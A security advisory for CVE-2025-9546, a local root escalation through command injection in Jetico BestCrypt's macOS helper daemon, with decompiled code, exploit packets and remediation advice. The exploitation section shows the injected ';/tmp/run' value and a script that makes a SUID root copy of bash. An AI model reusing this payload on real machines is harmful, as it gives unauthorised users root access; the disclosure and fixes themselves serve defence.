macOS Jetico Bestcrypt Local Privilege Escalation via Command Injection

Jan 22, 2025

CVE Number

CVE-2025-9546

Credits

Carlos Garrido of Pentraze Cybersecurity

macOS Jetico Bestcrypt Local Privilege Escalation via Command Injection

Summary

A local privilege escalation was identified in a privileged helper service, enabling arbitrary command execution as root.

Details

The Jetico BestCrypt application, responsible for Endpoint Data Protection, Encryption, and Data Wiping, installs a module named com.jetico.Bestcrypt.helper, which performs various operations such as mounting volumes or opening block devices. This service runs with root privileges, and a privilege escalation opportunity was identified via command injection, allowing arbitrary commands to be executed in a high-privilege context.

com.jetico.Bestcrypt.helper

By analyzing the Launch Daemon PLIST for the com.jetico.Bestcrypt.helper service, several important aspects can be observed:

  • The application does not expose a named Mach service for inter-process communication (IPC); instead, it uses a Unix domain socket located at /var/run/com.jetico.BestCrypt.helper.

  • The socket permissions are set to 438 (0666), allowing any local user to initiate a connection to the service.

  • If client authentication is not properly enforced (e.g., using getsockopt with SO_PEERCRED to validate the UID/GID of the connecting process), this configuration could enable unauthorized access to a privileged service.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.jetico.BestCrypt.helper</string>
	<key>RunAtLoad</key>
	<true/>
	<key>KeepAlive</key>
	<true/>
	<key>Sockets</key>
	<dict>
		<key>BestCrypt</key>
		<dict>
			<key>SockPathMode</key>
			<integer>438</integer>
			<key>SockPathName</key>
			<string>/var/run/com.jetico.BestCrypt.helper</string>
		</dict>
	</dict>
	<key>ProgramArguments</key>
	<array>
		<string>/Library/PrivilegedHelperTools/com.jetico.BestCrypt.helper</string>
	</array>
</dict>
</plist>

Reverse Engineering

The main function is responsible for installing the bcrypt kernel extension (kext). It then starts the service by invoking the startServer function, which initializes the Unix socket. After that, the function _main.cold.1 is called to handle incoming client connections and process the received buffers.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
100004d7c    int64_t _main()

100004d7c    {
100004d7c        int64_t rax = *(uint64_t*)___stack_chk_guard;
100004d9c        _system("/etc/bcrypt stop");
100004da8        _system("/etc/bcrypt start");
100004db4        int32_t rax_1 = startServer("/var/run/com.jetico.BestCrypt.he…");
100004dbb        void var_84;
100004dbb        struct sockaddr var_80[0x7];
100004dbb        
100004dbb        if (rax_1 >= 0)
100004dd5            _main.cold.1(&var_80, &var_84, rax_1);
100004dbb        else
100004dc4            logError("Unable to start helper");
100004dc4        
100004de8        if (*(uint64_t*)___stack_chk_guard == rax)
100004df8            return 1;
100004df8        
100004df8        ___stack_chk_fail();
100004df8        /* no return */
100004d7c    }

Within _main.cold.1, the accept function is called, and the incoming connection is passed to the handleCommand() function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

100006f32    int64_t _main.cold.1(struct sockaddr* arg1, int32_t* arg2, int32_t arg3)

100006f32    {
100006f32        int64_t rax = *(uint64_t*)___stack_chk_guard;
100006f5a        *(uint32_t*)arg2 = 0x6a;
100006f6e        int32_t socket_1 = _accept(arg3, arg1, arg2);
100006f6e        
100006f75        if (socket_1 >= 0)
100006f75        {
100006f77            int32_t socket = socket_1;
100006fd8            int32_t i;
100006fd8            
100006fd8            do
100006fd8            {
100006f90                _printf("bcrypt_helper - %s\n", "accepted connection");
100006fa0                _syslog(5, "bcrypt_helper - %s\n", "accepted connection");
100006faf                BCHelperAnswer answer;
100006faf                handleCommand(socket, &answer);
100006fb7                _close(socket);
100006fbc                *(uint32_t*)arg2 = 0x6a;
100006fce                i = _accept(arg3, arg1, arg2);
100006fd3                socket = i;
100006fd8            } while (i >= 0);
100006f75        }
100006f75        
100006fe1        logError("accept failed");
100006fec        _close(arg3);
100006ff8        int64_t result = *(uint64_t*)___stack_chk_guard;
100006ff8        
100006fff        if (result == rax)
100007013            return result;
100007013        
100007013        ___stack_chk_fail();
100007013        /* no return */
100006f32    }

The handleCommand function can be summarized as follows:

  • First, it receives a 12-byte buffer (0x0c) representing the packet header, which specifies the action to be performed. For example, the value 0xbc000106 triggers the volume mounting routine.

  • Next, during the second recv call, the server reads the body — that is, the payload sent by the client, which contains the necessary parameters for the requested action. In the case of mounting a volume, this payload would specify which volume should be mounted.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
100004c5c    uint64_t handleCommand(int32_t socket, BCHelperAnswer& answer)

100004c5c    {
100004c5c        int64_t rax = *(uint64_t*)___stack_chk_guard;
100004c87        _bzero(answer, 0x210);
100004c96        *(uint64_t*)answer = -0x43ffeffefffffdf0;
100004ca7        int32_t buffer;
100004ca7        int64_t length;
100004ca7        BCHelperAnswer* rsi_1;
100004ca7        length = _recv(socket, &buffer, 0xc, 0);
100004cb0        int32_t rbx;
100004cb0        
100004cb0        if (length != 0xc)
100004cb0        {
100004d5c            handleCommand.cold.3(answer, rsi_1);
100004d61            rbx = -0x43ffefff;
100004cb0        }
100004cb0        else
100004cb0        {
100004cc9            void var_48;
100004cc9            BCHelperFileData* buffer_2 =
100004cc9                &var_48 - (((uint64_t)(buffer + 1) + 0xf) & 0xfffffffffffffff0);
100004cda            int64_t length_2;
100004cda            BCHelperAnswer* rsi_3;
100004cda            length_2 = _recv(socket, buffer_2, (uint64_t)buffer, 0);
100004cea            int32_t var_3c;
100004cea            
100004cea            if (length_2 < 0 || length_2 != (uint64_t)buffer)
100004cea            {
100004d2d                handleCommand.cold.1(answer, rsi_3);
100004d32                rbx = -0x43ffefff;
100004cea            }
100004cea            else if (var_3c == 0xbc000106)
100004cf4            {
100004d17                rbx = mountVolume(buffer_2, answer);
100004d19                *(uint32_t*)((char*)answer + 4) = rbx;
100004d23                sendAnswer(socket, answer);
100004cf4            }
100004cf4            else if (var_3c != 0xbc000101)
100004cfb            {
100004d6b                handleCommand.cold.2(answer, rsi_3);
100004d70                rbx = -0x43ffefff;
100004d19                *(uint32_t*)((char*)answer + 4) = rbx;
100004d23                sendAnswer(socket, answer);
100004cfb            }
100004cfb            else
100004d08                rbx = openBlockDevice(buffer_2, socket);
100004cb0        }
100004cb0        
100004d48        if (*(uint64_t*)___stack_chk_guard == rax)
100004d77            return (uint64_t)rbx;
100004d77        
100004d77        ___stack_chk_fail();
100004d77        /* no return */
100004c5c    }

The handleCommand performs the following actions:

  • It takes the received payload and formats a command string, either as "diskutil mount /dev/%s" or "diskutil mount -mountPoint \"%s\" /dev/%s", depending on the context.

  • The formatted command is then executed via system() without any form of sanitization. This means an attacker could inject arbitrary commands beyond diskutil, leading to command injection in a privileged context.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
100004ab3    uint64_t mountVolume(BCMountVolumeData* buffer_2, BCHelperAnswer& answer)

100004ab3    {
100004ab3        int64_t rax = *(uint64_t*)___stack_chk_guard;
100004af1        _printf("bcrypt_helper - %s\n", "handle mount volume");
100004b03        BCHelperAnswer* rsi =
100004b03            _syslog(5, "bcrypt_helper - %s\n", "handle mount volume");
100004b0b        uint64_t rax_3;
100004b0b        
100004b0b        if (buffer_2)
100004b14            rax_3 = _strlen(buffer_2);
.
.
.
<SNIP>
.
.
.
100004b3f            if (!*(uint8_t*)((char*)buffer_2 + 0x10))
100004b7b                _snprintf(&var_238, 0x200, "diskutil mount /dev/%s", buffer_2);
100004b3f            else
100004b5c                _snprintf(&var_238, 0x200, "diskutil mount -mountPoint \"%s\" /dev/%s", 
100004b5c                    (char*)buffer_2 + 0x10, buffer_2);
100004b5c            
100004b96            _printf("bcrypt_helper - %s\n", &var_238);
100004ba8            _syslog(5, "bcrypt_helper - %s\n", &var_238);
100004bb0            int32_t rax_8 = _system(&var_238);
100004bb5            rcx_3 = -0x43fff000;

Exploitation

The following demonstrates that command injection was indeed possible, resulting in code execution as root. For demonstration purposes, /tmp/run is a script that copies the bash binary, sets the SUID bit, and thereby allows any user to execute it with the -p flag. As a result, the process runs with an effective user ID (EUID) of 0, effectively granting root privileges.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
~ % cat /tmp/run                    
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
~ % ls -l /private/tmp/rootbash     
ls: /private/tmp/rootbash: No such file or directory
~ % python3 Exploit.py              
[+] msg1: `%s`
 b'\x10\x00\x00\x00\x06\x01\x00\xbcAAAA'
[+] msg2: `%s`
 b't;/tmp/run\x00\x00\x00\x00\x00\x00'
~ % ls -l /private/tmp/rootbash 
-r-sr-xr-x  1 root  wheel  1326576 Jul  3 21:28 /private/tmp/rootbash
~ % whoami
garrido
~ % /private/tmp/rootbash -p

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
rootbash-3.2# whoami
root
rootbash-3.2#

Upon reviewing the system logs, we observed that the com.jetico.BestCrypt.helper service accepted the connection and executed the ‘mount volume’ operation, which contained our malicious command.

1
2
3
4
5
sh-3.2# log stream --style syslog --predicate 'eventMessage contains[c] "bcrypt_helper"'
Filtering the log data using "composedMessage CONTAINS[c] "bcrypt_helper""
Timestamp                       (process)[PID]    
2025-07-03 21:28:28.092495-0400  localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - accepted connection
2025-07-03 21:28:28.092802-0400  localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - handle mount volume

Recommendations

  1. Restrict Socket Permissions

Ensure that the Unix socket located at /var/run/com.jetico.BestCrypt.helper is not world-accessible:

  • Change permissions from 0666 to a more restrictive mode, such as 0600 or 0660.

  • Set the socket owner and group to a dedicated system user and/or group that only authorized processes belong to.

  1. Authenticate Clients Explicitly

Implement client authentication before processing any commands:

  • Use getpeereid() (on macOS/BSD) or getsockopt(..., SO_PEERCRED, ...) (on Linux) to retrieve the connecting client’s UID/GID.
  1. Validate and Sanitize All Input
  • Strictly validate any input fields (such as volume names, paths, or commands).

  • Avoid directly passing client-supplied data to shell commands or interpreters.

References

¿Ver el sitio en español?